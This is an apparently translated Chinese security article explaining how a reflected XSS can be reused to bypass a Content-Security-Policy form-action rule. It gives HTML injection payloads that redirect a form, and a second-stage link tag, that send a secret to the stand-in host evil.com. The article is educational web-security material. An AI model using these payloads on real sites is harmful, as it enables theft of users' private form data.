利用反射型XSS二次注入繞過CSP form-action限制

wyzsk發表於2020-08-19
作者: ca1n · 2016/04/12 13:55

翻譯: SecurityToolkit

0x01 簡單介紹


CSP(Content-Security-Policy)是為了緩解XSS而存在的一種策略, 開發者可以設定一些規則來限制頁面可以載入的內容.那文字中所說的form-action又是幹啥的呢?用他可以限制form標籤"action"屬性的指向頁面, 這樣可以防止攻擊者透過XSS修改表單的"action"屬性,偷取使用者的一些隱私資訊.

0x02 例項分析


上面講的太抽象了, 如果不想看的話可以直接跳過....具體一點, 現在使用的是chrome瀏覽器, 假設下面這個secret.html是可能被XSS攻擊的

#!html
//XSS在這裡, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
  <input name='secret' value='xiao_mi_mi'/>         //小秘密

如果這個站點沒有CSP, 攻擊者可以直接透過XSS修改

#!html
<form method="POST" action='http://evil.com/wo_de_mi_mi.php'>   //我的秘密

當使用者傻傻地進行"正常'操作時,小秘密已經悄然變成攻擊者的秘密了.然後,有一個管理員試圖用CSP防止這個問題, 他使用白名單策略限制外部JS的載入並且不允許內聯指令碼, 好像安全性高了一點.

攻擊者想了下, 把頁面改成下面這個樣子

#!html
<div><form action='http://evil.com/wo_de_mi_mi.php'></div>
<form method='POST' id='subscribe' action='oo.html'>

在原本的form之前又加了一個form標籤, 這個新的form標籤沒有閉合,並且直接碰到了老form標籤, 這個時候會發生什麼呢?

Screen Shot 2016-04-10 at 19.25.02

老form標籤就這樣消失了! 所以攻擊者再次把使用者的小秘密傳送到了自己的伺服器上, 而且這時本來應該是POST的secret因為老form標籤的消失現在變成了GET傳送, 請求變成了下面這樣.

Screen Shot 2016-04-10 at 19.25.02

這下管理員鬱悶了, 最後索性用CSP加上了form-action來白名單限定form標籤的action指向, 那麼這樣是否還會出現問題呢?

一起來回顧一下, 現在有一個不能執行JS的反射型XSS和一個只能往白名單域名(當然沒有攻擊者域名...)指向的form標籤.

原secret.html

#!html
// XSS位置, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
  <input name='secret' value='xiao_mi_mi'/>

最後攻擊者的改過的頁面如下

#!html
<input value='ByPass CSP' type='submit' form='subscribe' formaction='' formmethod='GET' />
<input type='hidden' name='xss' form='subscribe' value="<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>">
// XSS, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'>
  <input type='hidden' name='secret' value='xiao_mi_mi'/>
</form>

這裡有幾處tricky的地方, 整個程式碼的步驟如下

  1. input標籤的form/formmethod/formaction將老form POST到oo.html的secret變成GET傳送到secret.html即當前頁面.

  2. 跳轉後仍處於secret.html因此該頁面的XSS還可以被二次利用注入惡意標籤, 這裡又利用第二個input標籤增加GET請求的xss引數, 所以跳轉之後的URL變為

    #!html
    http://victim.com/secret.html?secret=xiao_mi_mi&xss=<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>
    
  3. 此時secret.html再次觸發XSS, 被攻擊者加入下面標籤

    #!html
    <link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>
    
  4. Screen Shot 2016-04-10 at 20.12.36

正是最後這個link標籤洩露了本該POST傳送的secret, 攻擊者透過利用一個反射型XSS將CSP的form-action繞過.

0x03 最後


CSP能夠從某種程度上限制XSS, 對網站的防護是很有益義的. 不過相比國外經常能夠看到相關的討論,國內CSP的推進和熱度卻是比較不盡人意的, 同時關於CSP也有很多有意思的安全點, 特此翻譯出來以供大家學習和參考.

原文連結: https://labs.detectify.com/2016/04/04/csp-bypassing-form-action-with-reflected-xss/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章